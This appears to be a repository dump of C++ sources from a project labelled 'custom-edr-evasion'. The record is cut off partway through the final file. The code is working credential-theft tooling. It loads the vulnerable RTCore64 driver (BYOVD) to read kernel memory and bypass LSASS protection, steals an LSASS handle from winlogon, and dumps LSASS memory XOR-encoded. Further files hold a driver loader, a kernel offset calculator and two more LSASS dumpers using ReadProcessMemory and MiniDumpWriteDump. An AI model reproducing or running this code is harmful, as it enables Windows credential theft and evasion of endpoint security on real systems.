    "content": "\n// Unified LSASS Dumper with BYOVD + PPL Bypass\n#define UNICODE\n#define _UNICODE\n\n#include \"headers/driver_interface.h\"\n#include \"headers/paging.h\"\n#include \"headers/eprocess_offsets.h\"\n#include \"headers/handle_offsets.h\"\n\n#include <windows.h>\n#include <psapi.h>\n#include <fstream>\n#include <iostream>\n#include <string>\n#include <vector>\n#include <stdint.h>\n\n#define DRIVER_PATH L\"C:\\\\Windows\\\\Temp\\\\RTCore64.sys\"\n#define DRIVER_NAME L\"MyRTCore64\"\n#define OUTPUT_FILE L\"C:\\\\Windows\\\\Temp\\\\lsass_encoded.dmp\"\n#define LOG_FILE    L\"C:\\\\Windows\\\\Temp\\\\lsass_dumper.log\"\n#define XOR_KEY     0x41\n\n// Logging\nvoid WriteLog(const std::string& msg) {\n    std::ofstream log(LOG_FILE, std::ios::app);\n    log << msg << std::endl;\n    log.close();\n}\n\n// Open handle to driver\nHANDLE OpenDriver() {\n    return CreateFileW(RTCORE64_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);\n}\n\n// Driver loading\nbool LoadDriver(const std::wstring& driverName, const std::wstring& driverPath) {\n    SC_HANDLE scManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);\n    if (!scManager) {\n        WriteLog(\"[-] Failed to open Service Control Manager.\");\n        return false;\n    }\n\n    // Try opening existing service\n    SC_HANDLE service = OpenService(scManager, driverName.c_str(), SERVICE_START | DELETE | SERVICE_STOP);\n    if (!service) {\n        // Create new service\n        service = CreateService(scManager, driverName.c_str(), driverName.c_str(),\n            SERVICE_START | DELETE | SERVICE_STOP,\n            SERVICE_KERNEL_DRIVER,\n            SERVICE_DEMAND_START,\n            SERVICE_ERROR_IGNORE,\n            driverPath.c_str(),\n            nullptr, nullptr, nullptr, nullptr, nullptr);\n\n        if (!service) {\n            DWORD err = GetLastError();\n            WriteLog(\"[-] CreateService failed. Error: \" + std::to_string(err));\n            CloseServiceHandle(scManager);\n            return false;\n        }\n\n        WriteLog(\"[+] Driver service created.\");\n    } else {\n        WriteLog(\"[*] Driver service already exists.\");\n    }\n\n    // Try to start the driver (may already be running)\n    if (!StartService(service, 0, nullptr)) {\n        DWORD err = GetLastError();\n        if (err == ERROR_SERVICE_ALREADY_RUNNING) {\n            WriteLog(\"[*] Driver already running.\");\n        } else {\n            WriteLog(\"[-] Failed to start driver. Error: \" + std::to_string(err));\n            CloseServiceHandle(service);\n            CloseServiceHandle(scManager);\n            return false;\n        }\n    } else {\n        WriteLog(\"[+] Driver started successfully.\");\n    }\n\n    // Optionally delete service entry\n    DeleteService(service);\n    CloseServiceHandle(service);\n    CloseServiceHandle(scManager);\n    return true;\n}\n\n// Memory access\nbool ReadPhys(HANDLE h, uint64_t pa, void* out, size_t sz) {\n    std::vector<BYTE> tmp(sz);\n    PHYSICAL_MEMORY_RW req;\n    req.address = pa;\n    req.size = DWORD(sz);\n    req.buffer = (ULONGLONG)(tmp.data());\n    DWORD ret = 0;\n    if (!DeviceIoControl(h, IOCTL_READ_PHYSICAL_MEMORY, &req, sizeof(req), &req, sizeof(req), &ret, nullptr))\n        return false;\n    memcpy(out, tmp.data(), sz);\n    return true;\n}\n\nbool TranslateVAtoPA(HANDLE h, uint64_t cr3, uint64_t va, uint64_t& outPA) {\n    uint64_t entry = 0;\n    uint64_t pml4Index = VADDR_TO_INDEX(va, 39);\n    uint64_t pdptIndex = VADDR_TO_INDEX(va, 30);\n    uint64_t pdIndex   = VADDR_TO_INDEX(va, 21);\n    uint64_t ptIndex   = VADDR_TO_INDEX(va, 12);\n\n    uint64_t pml4e = cr3 + (pml4Index * 8);\n    if (!ReadPhys(h, pml4e, &entry, 8)) return false;\n    if (!(entry & PAGE_PRESENT)) return false;\n\n    uint64_t pdpte = (entry & ~0xFFFULL) + (pdptIndex * 8);\n    if (!ReadPhys(h, pdpte, &entry, 8)) return false;\n    if (!(entry & PAGE_PRESENT)) return false;\n    if (entry & LARGE_PAGE) {\n        outPA = (entry & ~((1ULL << 30) - 1)) + (va & ((1ULL << 30) - 1));\n        return true;\n    }\n\n    uint64_t pde = (entry & ~0xFFFULL) + (pdIndex * 8);\n    if (!ReadPhys(h, pde, &entry, 8)) return false;\n    if (!(entry & PAGE_PRESENT)) return false;\n    if (entry & LARGE_PAGE) {\n        outPA = (entry & ~((1ULL << 21) - 1)) + (va & ((1ULL << 21) - 1));\n        return true;\n    }\n\n    uint64_t pte = (entry & ~0xFFFULL) + (ptIndex * 8);\n    if (!ReadPhys(h, pte, &entry, 8)) return false;\n    if (!(entry & PAGE_PRESENT)) return false;\n\n    outPA = (entry & ~0xFFFULL) + (va & 0xFFF);\n    return true;\n}\n\nbool ReadVA(HANDLE h, uint64_t cr3, uint64_t va, void* out, size_t sz) {\n    uint64_t pa = 0;\n    if (!TranslateVAtoPA(h, cr3, va, pa)) return false;\n    return ReadPhys(h, pa, out, sz);\n}\n\n// Find EPROCESS of target\nbool FindEP(HANDLE h, uint64_t cr3, uint64_t listVA, const std::string& name, uint64_t& foundEP) {\n    uint64_t cur = 0;\n    if (!ReadVA(h, cr3, listVA, &cur, 8)) return false;\n    cur -= OFFSET_ActiveProcessLinks;\n    uint64_t first = cur;\n\n    do {\n        char img[16] = { 0 };\n        if (!ReadVA(h, cr3, cur + OFFSET_ImageFileName, img, sizeof(img))) break;\n        if (_stricmp(img, name.c_str()) == 0) {\n            foundEP = cur;\n            return true;\n        }\n\n        uint64_t flink = 0;\n        if (!ReadVA(h, cr3, cur + OFFSET_ActiveProcessLinks, &flink, 8)) break;\n        cur = flink - OFFSET_ActiveProcessLinks;\n    } while (cur != first);\n\n    return false;\n}\n\nbool StealHandle(HANDLE h, uint64_t cr3, uint64_t systemEP, uint64_t lsassEP, HANDLE& stolenHandle) {\n    uint64_t objTbl = 0, tableCode = 0;\n    if (!ReadVA(h, cr3, systemEP + OFFSET_ObjectTable, &objTbl, 8)) return false;\n    if (!ReadVA(h, cr3, objTbl + OFFSET_HandleTable_TableCode, &tableCode, 8)) return false;\n\n    uint64_t tableBase = tableCode & ~0xF;\n    for (int i = 0; i < 0x1000; ++i) {\n        uint64_t entryAddr = tableBase + (i * HANDLE_TABLE_ENTRY_SIZE);\n        uint64_t entry = 0;\n        if (!ReadVA(h, cr3, entryAddr, &entry, 8)) continue;\n        if ((entry & ~0xF) == lsassEP) {\n            stolenHandle = (HANDLE)(i * 4);\n            return true;\n        }\n    }\n    return false;\n}\n\nbool DumpLSASS(HANDLE stolen) {\n    std::ofstream out(OUTPUT_FILE, std::ios::binary);\n    if (!out.is_open()) return false;\n\n    MEMORY_BASIC_INFORMATION mbi = { 0 };\n    uint8_t* addr = nullptr;\n    while (VirtualQueryEx(stolen, addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {\n        if (mbi.State == MEM_COMMIT && mbi.Protect & (PAGE_READWRITE | PAGE_READONLY | PAGE_EXECUTE_READ)) {\n            std::vector<BYTE> buf(mbi.RegionSize);\n            SIZE_T bytesRead = 0;\n            if (ReadProcessMemory(stolen, mbi.BaseAddress, buf.data(), buf.size(), &bytesRead)) {\n                for (SIZE_T i = 0; i < bytesRead; ++i) buf[i] ^= XOR_KEY;\n                out.write((char*)buf.data(), bytesRead);\n            }\n        }\n        addr += mbi.RegionSize;\n    }\n\n    out.close();\n    return true;\n}\n\nint main() {\n    WriteLog(\"[*] Starting unified LSASS dumper...\");\n\n    if (!LoadDriver(DRIVER_NAME, DRIVER_PATH)) {\n        WriteLog(\"[-] Driver load failed.\");\n        return 1;\n    }\n\n    HANDLE h = OpenDriver();\n    if (!h || h == INVALID_HANDLE_VALUE) {\n        WriteLog(\"[-] Failed to open RTCore64 device.\");\n        return 1;\n    }\n\n        // Get kernel base dynamically\n    LPVOID drivers[1024];\n    DWORD needed;\n    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &needed)) {\n        WriteLog(\"[-] Could not enumerate device drivers.\");\n        return 1;\n    }\n    uint64_t kernelBase = reinterpret_cast<uint64_t>(drivers[0]);\n    WriteLog(\"[*] Kernel base: 0x\" + std::hex + std::to_string(kernelBase));\n\n    // Compute offset using the DLL + export parsing trick\n    // This requires ntoskrnl to map in user space earlier\n    ULONG_PTR offset = GetProcAddress(LoadLibraryA(\"ntoskrnl.exe\"), \"PsInitialSystemProcess\")\n                        - reinterpret_cast<ULONG_PTR>(GetModuleHandleA(\"ntoskrnl.exe\"));\n    WriteLog(\"[*] Symbol offset: 0x\" + std::hex + std::to_string(offset));\n\n    uint64_t psInitVA = kernelBase + offset;\n    WriteLog(\"[*] Resolved PsInitialSystemProcess VA: 0x\" + std::hex + std::to_string(psInitVA));\n    uint64_t systemEP = 0;\n    if (!ReadPhys(h, psInitVA, &systemEP, sizeof(systemEP))) {\n        WriteLog(\"[-] Failed to read PsInitialSystemProcess from VA.\");\n        return 1;\n    }\n    WriteLog(\"[+] SYSTEM EPROCESS at: 0x\" + std::hex + std::to_string(systemEP));\n\n\n    uint64_t cr3 = 0;\n    if (!ReadVA(h, 0, systemEP + OFFSET_DirectoryTableBase, &cr3, 8)) {\n        WriteLog(\"[-] Could not read kernel CR3.\");\n        return 1;\n    }\n\n    uint64_t lsassEP = 0;\n    uint64_t winlogonEP = 0;\n    if (!FindEP(h, cr3, systemEP + OFFSET_ActiveProcessLinks, \"lsass.exe\", lsassEP)) {\n        WriteLog(\"[-] LSASS not found.\");\n        return 1;\n    }\n    if (!FindEP(h, cr3, systemEP + OFFSET_ActiveProcessLinks, \"winlogon.exe\", winlogonEP)) {\n        WriteLog(\"[-] SYSTEM process not found.\");\n        return 1;\n    }\n\n    DWORD winlogonPid = 0;\n    if (!ReadVA(h, cr3, winlogonEP + OFFSET_UniqueProcessId, &winlogonPid, sizeof(DWORD))) {\n        WriteLog(\"[-] Failed to read winlogon PID.\");\n        return 1;\n    }\n\n    HANDLE winlogon = OpenProcess(PROCESS_DUP_HANDLE, FALSE, winlogonPid);\n    if (!winlogon) {\n        WriteLog(\"[-] Failed to open SYSTEM process.\");\n        return 1;\n    }\n\n    HANDLE targetLSASS = INVALID_HANDLE_VALUE;\n    HANDLE stolen = INVALID_HANDLE_VALUE;\n\n    if (!StealHandle(h, cr3, winlogonEP, lsassEP, targetLSASS)) {\n        WriteLog(\"[-] Could not locate LSASS handle.\");\n        return 1;\n    }\n\n    if (!DuplicateHandle(winlogon, targetLSASS, GetCurrentProcess(), &stolen, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 0)) {\n        WriteLog(\"[-] Handle duplication failed.\");\n        return 1;\n    }\n\n    if (!DumpLSASS(stolen)) {\n        WriteLog(\"[-] LSASS dump failed.\");\n        return 1;\n    }\n\n    WriteLog(\"[+] Dump complete. Encoded output written.\");\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/offset-calc/headers/driver_interface.h",
    "content": "\n#pragma once\n#include <windows.h>\n#include <cstdint>\n\nHANDLE OpenDriver();\nbool ReadPhys(HANDLE hDriver, uint64_t address, void* buffer, size_t size);\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/offset-calc/headers/logging.h",
    "content": "\n#pragma once\n#include <string>\n#include <fstream>\n\ninline void WriteLog(const std::string& message) {\n    std::ofstream logFile(\"lsass_dumper.log\", std::ios::app);\n    logFile << message << std::endl;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/offset-calc/offset-calc.cpp",
    "content": "\n// main.cpp - Patched with PsInitialSystemProcess resolution for Windows 20348.3932\n\n#include <windows.h>\n#include <psapi.h>\n#include <string>\n#include <iostream>\n#include \"headers/driver_interface.h\"\n#include \"headers/logging.h\"\n\n// Convert to hex string\nstd::string ToHexString(uint64_t value) {\n    char buffer[32];\n    snprintf(buffer, sizeof(buffer), \"%llx\", value);\n    return std::string(buffer);\n}\n\n// Retrieve kernel base address\nuintptr_t GetKernelBase() {\n    LPVOID drivers[1024];\n    DWORD cbNeeded = 0;\n    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {\n        WriteLog(\"[-] EnumDeviceDrivers failed.\");\n        return 0;\n    }\n    return reinterpret_cast<uintptr_t>(drivers[0]);\n}\n\n// Get Windows build number\nDWORD GetWindowsBuildNumber() {\n    OSVERSIONINFOEXW osvi = { 0 };\n    osvi.dwOSVersionInfoSize = sizeof(osvi);\n    if (!GetVersionExW((OSVERSIONINFOW*)&osvi)) {\n        return 0;\n    }\n    return osvi.dwBuildNumber;\n}\n\nint main() {\n    HANDLE driverHandle = OpenDriver();\n    if (!driverHandle || driverHandle == INVALID_HANDLE_VALUE) {\n        WriteLog(\"[-] Failed to open driver handle.\");\n        return 1;\n    }\n\n    uintptr_t kernelBase = GetKernelBase();\n    if (!kernelBase) {\n        WriteLog(\"[-] Failed to get kernel base.\");\n        return 1;\n    }\n    WriteLog(\"[*] Kernel base: 0x\" + ToHexString(kernelBase));\n\n    DWORD build = GetWindowsBuildNumber();\n    WriteLog(\"[*] Detected Windows build: \" + std::to_string(build));\n\n    uintptr_t psInitOffset = 0;\n    if (build == 20348) {\n        psInitOffset = 0x8755E0; // Verified for Windows Server 2022\n    } else if (build == 26100) {\n        psInitOffset = 0x886B20; // Insider build example\n    } else {\n        WriteLog(\"[-] Unsupported Windows build: \" + std::to_string(build));\n        return 1;\n    }\n\n    uintptr_t psInitVA = kernelBase + psInitOffset;\n    WriteLog(\"[*] PsInitialSystemProcess VA: 0x\" + ToHexString(psInitVA));\n\n    uint64_t systemEP = 0;\n    if (!ReadPhys(driverHandle, psInitVA, &systemEP, sizeof(systemEP))) {\n        WriteLog(\"[-] Failed to read PsInitialSystemProcess.\");\n        return 1;\n    }\n\n    WriteLog(\"[+] PsInitialSystemProcess EPROCESS: 0x\" + ToHexString(systemEP));\n\n    CloseHandle(driverHandle);\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver_interface.h",
    "content": "#pragma once\n#include <windows.h>\n\n#define RTCORE64_DEVICE_PATH L\"\\\\\\\\.\\\\RTCore64\"\n\n#define IOCTL_READ_PHYSICAL_MEMORY  CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA801, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define IOCTL_WRITE_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA802, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n// Input/output structure (must match driver's expectations)\ntypedef struct _PHYSICAL_MEMORY_RW {\n    ULONGLONG address;     // Physical address to read from\n    DWORD     size;        // Size to read/write\n    ULONGLONG buffer;      // User-mode buffer to read into or write from\n} PHYSICAL_MEMORY_RW;\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/driver_loader.cpp",
    "content": "#define UNICODE\n#define _UNICODE\n#include <windows.h>\n#include <iostream>\n#include <fstream>\n#include <string>\n\nvoid WriteLog(const std::string& msg) {\n    std::ofstream log(\"C:\\\\Windows\\\\Temp\\\\driver_loader.log\", std::ios::app);\n    log << msg << std::endl;\n    log.close();\n}\n\nbool LoadDriver(const std::wstring& driverName, const std::wstring& driverPath) {\n    SC_HANDLE scManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);\n    if (!scManager) {\n        WriteLog(\"[-] Failed to open Service Control Manager.\");\n        return false;\n    }\n\n    // Remove service if it already exists\n    SC_HANDLE existing = OpenService(scManager, driverName.c_str(), SERVICE_ALL_ACCESS);\n    if (existing) {\n        WriteLog(\"[*] Driver service already exists. Deleting it...\");\n        DeleteService(existing);\n        CloseServiceHandle(existing);\n    }\n\n    // Create the new service entry\n    SC_HANDLE service = CreateService(\n        scManager,\n        driverName.c_str(),\n        driverName.c_str(),\n        SERVICE_START | DELETE | SERVICE_STOP,\n        SERVICE_KERNEL_DRIVER,\n        SERVICE_DEMAND_START,\n        SERVICE_ERROR_IGNORE,\n        driverPath.c_str(),\n        nullptr,\n        nullptr,\n        nullptr,\n        nullptr,\n        nullptr\n    );\n\n    if (!service) {\n        DWORD err = GetLastError();\n        WriteLog(\"[-] Failed to create service. Error: \" + std::to_string(err));\n        CloseServiceHandle(scManager);\n        return false;\n    }\n\n    WriteLog(\"[+] Driver service created successfully.\");\n\n    // Start the service\n    if (!StartService(service, 0, nullptr)) {\n        DWORD err = GetLastError();\n        WriteLog(\"[-] Failed to start driver service. Error: \" + std::to_string(err));\n        DeleteService(service);\n        CloseServiceHandle(service);\n        CloseServiceHandle(scManager);\n        return false;\n    }\n\n    WriteLog(\"[+] Driver started successfully.\");\n\n    // Optionally delete the service afterward to clean up\n    DeleteService(service);\n    WriteLog(\"[*] Service entry deleted (driver still running).\");\n\n    CloseServiceHandle(service);\n    CloseServiceHandle(scManager);\n    return true;\n}\n\nint main() {\n    const std::wstring driverName = L\"MyRTCore64\";\n    const std::wstring driverPath = L\"C:\\\\Windows\\\\Temp\\\\RTCore64.sys\";\n\n    WriteLog(\"[*] Starting driver loader...\");\n\n    if (LoadDriver(driverName, driverPath)) {\n        WriteLog(\"[+] Driver loaded and running.\");\n    } else {\n        WriteLog(\"[-] Driver load failed.\");\n    }\n\n    return 0;\n}\n\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/dump-that-lsass.cpp",
    "content": "#define UNICODE\n#define _UNICODE\n\n#include <windows.h>\n#include <tlhelp32.h>\n#include <psapi.h>\n#include <iostream>\n#include <fstream>\n\n#define XOR_KEY 0x41\n\n\n\nvoid Log(const std::string& msg) {\n    std::ofstream log(\"C:\\\\Windows\\\\Temp\\\\lsass_dumper.log\", std::ios::app);\n    log << msg << std::endl;\n    log.close();\n}\n\n\nDWORD FindLSASSPid() {\n    DWORD pid = 0;\n    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (snapshot != INVALID_HANDLE_VALUE) {\n        PROCESSENTRY32 pe = { 0 };\n        pe.dwSize = sizeof(PROCESSENTRY32);\n        if (Process32First(snapshot, &pe)) {\n            do {\n                if (_wcsicmp(pe.szExeFile, L\"lsass.exe\") == 0) {\n                    pid = pe.th32ProcessID;\n                    break;\n                }\n            } while (Process32Next(snapshot, &pe));\n        }\n        CloseHandle(snapshot);\n    }\n    return pid;\n}\n\nbool EnableDebugPrivilege() {\n    HANDLE hToken;\n    LUID luid;\n    TOKEN_PRIVILEGES tp;\n\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))\n        return false;\n\n    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))\n        return false;\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n    return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);\n}\n\nvoid DumpAndEncodeMemory(HANDLE hProc, std::ofstream& outFile) {\n    MEMORY_BASIC_INFORMATION mbi;\n    BYTE* addr = nullptr;\n\n    while (VirtualQueryEx(hProc, addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {\n        if ((mbi.State == MEM_COMMIT) && (mbi.Type == MEM_PRIVATE || mbi.Type == MEM_IMAGE)) {\n            SIZE_T regionSize = mbi.RegionSize;\n            BYTE* buffer = new BYTE[regionSize];\n\n            SIZE_T bytesRead;\n            if (ReadProcessMemory(hProc, mbi.BaseAddress, buffer, regionSize, &bytesRead)) {\n                // XOR encode in-place\n                for (SIZE_T i = 0; i < bytesRead; ++i)\n                    buffer[i] ^= XOR_KEY;\n\n                outFile.write(reinterpret_cast<char*>(buffer), bytesRead);\n                std::wcout << L\"[+] Dumped & encoded region at \" << mbi.BaseAddress << L\", size: \" << bytesRead << L\"\\n\";\n            }\n\n            delete[] buffer;\n        }\n        addr += mbi.RegionSize;\n    }\n}\n\nint main() {\n    if (!EnableDebugPrivilege()) {\n        Log(\"[-] Failed to enable debug privileges.\");\n        std::cerr << \"[-] Failed to enable debug privileges.\\n\";\n        return 1;\n    }\n\n    DWORD pid = FindLSASSPid();\n    if (pid == 0) {\n        Log(\"[-] Could not find LSASS process.\");\n        std::cerr << \"[-] Could not find LSASS process.\\n\";\n        return 1;\n    }\n    Log(\"[*] Attempting to open LSASS...\");\n    HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);\n    if (!hProc) {\n        Log(\"[-] Could not open LSASS process. Run as SYSTEM.\");\n        std::cerr << \"[-] Could not open LSASS process. Run as SYSTEM.\\n\";\n        return 1;\n    }\n\n    std::ofstream outFile(\"lsass_encoded.bin\", std::ios::binary);\n    if (!outFile.is_open()) {\n        Log(\"[-] Could not open output file.\");\n        std::cerr << \"[-] Could not open output file.\\n\";\n        CloseHandle(hProc);\n\n        return 1;\n    }\n    Log(\"[*] LSASS process opened successfully. PID: \" + std::to_string(pid));\n    std::cout << \"[*] Starting LSASS memory copy + XOR encoding...\\n\";\n    DumpAndEncodeMemory(hProc, outFile);\n\n    outFile.close();\n    CloseHandle(hProc);\n    Log(\"[+] Dump complete. Encoded memory written to lsass_encoded.bin\");\n    std::cout << \"[+] Dump complete. Encoded memory written to lsass_encoded.bin\\n\";\n\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/nikito/dump-that-lsass-nikito.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n#include <tlhelp32.h>\n#include <dbghelp.h>\n#include <vector>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n#include <chrono>\n#include <atomic>\n\n#pragma comment(lib, \"Dbghelp.lib\")\n\ntypedef BOOL(WINAPI* MiniDumpWriteDump_t)(\n    HANDLE hProcess,\n    DWORD ProcessId,\n    HANDLE hFile,\n    MINIDUMP_TYPE DumpType,\n    PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,\n    PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,\n    PMINIDUMP_CALLBACK_INFORMATION CallbackParam\n);\n\nBOOL CALLBACK MiniDumpCallback(\n    PVOID CallbackParam,\n    PMINIDUMP_CALLBACK_INPUT CallbackInput,\n    PMINIDUMP_CALLBACK_OUTPUT CallbackOutput\n) {\n    if (!CallbackInput || !CallbackOutput) {\n        return TRUE;\n    }\n\n    switch (CallbackInput->CallbackType) {\n        case ModuleCallback:\n        {\n\n            CallbackOutput->ModuleWriteFlags |= (ModuleWriteModule | ModuleWriteMiscRecord | ModuleWriteCvRecord);\n            return TRUE;\n        }\n\n        case ThreadCallback:\n        {\n\n            CallbackOutput->ThreadWriteFlags = (ThreadWriteThread | ThreadWriteContext | ThreadWriteInstructionWindow);\n            return TRUE;\n        }\n\n        case IncludeModuleCallback:\n        {\n\n            return TRUE;\n        }\n\n        case IncludeThreadCallback:\n        {\n            return TRUE;\n        }\n\n        case MemoryCallback:\n        {\n            return TRUE;\n        }\n\n        case CancelCallback:\n        {\n            return FALSE; \n        }\n\n        case ReadMemoryFailureCallback:\n        {\n            return TRUE;\n        }\n\n        case IoStartCallback:\n        case IoWriteAllCallback:\n        case IoFinishCallback:\n        {\n            return TRUE;\n        }\n\n        default:\n            return TRUE;\n    }\n}\n\nDWORD FindLsassPid() {\n    DWORD lsassPid = 0;\n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    \n    if (hSnapshot != INVALID_HANDLE_VALUE) {\n        PROCESSENTRY32W processEntry = { 0 };\n        processEntry.dwSize = sizeof(PROCESSENTRY32W);\n        \n        if (Process32FirstW(hSnapshot, &processEntry)) {\n            do {\n                if (_wcsicmp(processEntry.szExeFile, L\"lsass.exe\") == 0) {\n                    lsassPid = processEntry.th32ProcessID;\n                    break;\n                }\n            } while (Process32NextW(hSnapshot, &processEntry));\n        }\n        CloseHandle(hSnapshot);\n    }\n    \n    return lsassPid;\n}\n\nbool EnableSeDebugPrivilege() {\n    HANDLE hToken = NULL;\n    bool result = false;\n\n    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {\n        LUID luid;\n        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {\n            TOKEN_PRIVILEGES tp;\n            tp.PrivilegeCount = 1;\n            tp.Privileges[0].Luid = luid;\n            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n            if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {\n                result = (GetLastError() == ERROR_SUCCESS);\n            }\n        }\n        CloseHandle(hToken);\n    }\n    return result;\n}\n\n#define MINIDUMP_TIMEOUT 30000 // 30 seconds timeout in milliseconds\n\nbool DumpLsassToMemoryBuffer(std::vector<BYTE>& outputBuffer) {\n    outputBuffer.clear();\n\n    std::cout << \"[+] Finding lsass.exe process ID...\" << std::endl;\n    DWORD lsassPid = FindLsassPid();\n    if (lsassPid == 0) {\n        std::cout << \"[-] Failed to find lsass.exe process\" << std::endl;\n        return false;\n    }\n    std::cout << \"[+] Found lsass.exe process ID: \" << lsassPid << std::endl;\n\n    HANDLE hLsass = NULL;\n    DWORD accessCombinations[] = {\n        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,\n        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,\n        PROCESS_ALL_ACCESS\n    };\n\n    std::cout << \"[+] Attempting to open lsass.exe process...\" << std::endl;\n    for (DWORD access : accessCombinations) {\n        hLsass = OpenProcess(access, FALSE, lsassPid);\n        if (hLsass) {\n            std::cout << \"[+] Successfully opened lsass.exe with access rights: 0x\" \n                     << std::hex << access << std::dec << std::endl;\n            break;\n        }\n        std::cout << \"[-] Failed to open with access rights 0x\" \n                 << std::hex << access << std::dec \n                 << \", error: \" << GetLastError() << std::endl;\n    }\n\n    if (!hLsass) {\n        std::cout << \"[-] Could not open lsass.exe process\" << std::endl;\n        return false;\n    }\n\n    WCHAR tempPath[MAX_PATH] = {};\n    WCHAR tempFileName[MAX_PATH] = {};\n\n    if (!GetTempPathW(MAX_PATH, tempPath)) {\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    if (!GetTempFileNameW(tempPath, L\"LSA\", 0, tempFileName)) {\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    HANDLE hFile = CreateFileW(\n        tempFileName,\n        GENERIC_READ | GENERIC_WRITE,\n        0,\n        NULL,\n        CREATE_ALWAYS,\n        FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,\n        NULL\n    );\n\n    \n    if (hFile == INVALID_HANDLE_VALUE) {\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    std::cout << \"[+] Created temporary file for dumping\" << std::endl;\n\n    HMODULE hDbgHelp = LoadLibraryW(L\"dbghelp.dll\");\n    if (!hDbgHelp) {\n        CloseHandle(hFile);\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    auto pMiniDumpWriteDump = (MiniDumpWriteDump_t)GetProcAddress(hDbgHelp, \"MiniDumpWriteDump\");\n    if (!pMiniDumpWriteDump) {\n        FreeLibrary(hDbgHelp);\n        CloseHandle(hFile);\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    MINIDUMP_CALLBACK_INFORMATION callbackInfo = {};\n    callbackInfo.CallbackRoutine = MiniDumpCallback;\n\n    MINIDUMP_TYPE dumpType = (MINIDUMP_TYPE)(\n        MiniDumpWithFullMemory |\n        MiniDumpWithHandleData |\n        MiniDumpWithUnloadedModules |\n        MiniDumpWithThreadInfo |\n        MiniDumpWithFullMemoryInfo |\n        MiniDumpWithProcessThreadData |\n        MiniDumpWithIndirectlyReferencedMemory\n    );\n\n    // Setup to perform MiniDumpWriteDump with timeout\n    std::atomic<bool> dumpFinished(false);\n    std::atomic<bool> dumpSucceeded(false);\n    std::atomic<DWORD> dumpErrorCode(0);\n    \n    std::thread dumpThread([&]() {\n        std::cout << \"[+] Attempting to call MiniDumpWriteDump in background thread...\" << std::endl;\n        BOOL dumpResult = pMiniDumpWriteDump(\n            hLsass,\n            lsassPid,\n            hFile,\n            dumpType,\n            NULL,\n            NULL,\n            NULL  // Removing callback to simplify the call\n        );\n\n        dumpErrorCode = GetLastError();\n        dumpSucceeded = dumpResult != FALSE;\n        dumpFinished = true;\n    });\n\n    // Wait with timeout\n    auto startTime = std::chrono::steady_clock::now();\n    while (!dumpFinished) {\n        auto elapsed = std::chrono::steady_clock::now() - startTime;\n        if (std::chrono::duration_cast<std::chrono::milliseconds>(elapsed).count() > MINIDUMP_TIMEOUT) {\n            std::cout << \"[-] MiniDumpWriteDump timed out after \" << MINIDUMP_TIMEOUT/1000 << \" seconds\" << std::endl;\n            if (dumpThread.joinable()) {\n                // In a real scenario, we would need to terminate the thread, but this is complex\n                // and potentially dangerous. For this example, we'll detach it.\n                dumpThread.detach();\n            }\n            FreeLibrary(hDbgHelp);\n            CloseHandle(hFile);\n            CloseHandle(hLsass);\n            return false;\n        }\n        std::this_thread::sleep_for(std::chrono::milliseconds(100));\n    }\n\n    if (dumpThread.joinable()) {\n        dumpThread.join();\n    }\n\n    if (!dumpSucceeded) {\n        std::cout << \"[-] MiniDumpWriteDump failed with error code: \" << dumpErrorCode << std::endl;\n        FreeLibrary(hDbgHelp);\n        CloseHandle(hFile);\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    std::cout << \"[+] Successfully dumped lsass with MiniDumpWriteDump\" << std::endl;\n\n    DWORD fileSize = GetFileSize(hFile, NULL);\n    if (fileSize == 